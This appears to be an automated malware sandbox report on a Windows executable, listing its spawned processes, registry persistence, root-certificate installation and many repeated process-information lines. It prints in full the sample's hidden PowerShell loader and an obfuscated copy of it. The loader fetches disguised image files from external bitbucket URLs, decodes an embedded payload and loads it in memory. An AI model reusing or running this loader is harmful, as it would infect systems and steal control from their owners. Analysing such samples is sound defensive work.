HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"	Jump to behavior

Source: 0XVZC3kfwL.exe

Static PE information: 0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C21D10 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00007FF681C21D10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_00007FFB4ADF0DD0 pushad ; retf

5_2_00007FFB4ADF0E0D

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C215F4 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF681C215F4

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\0XVZC3kfwL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
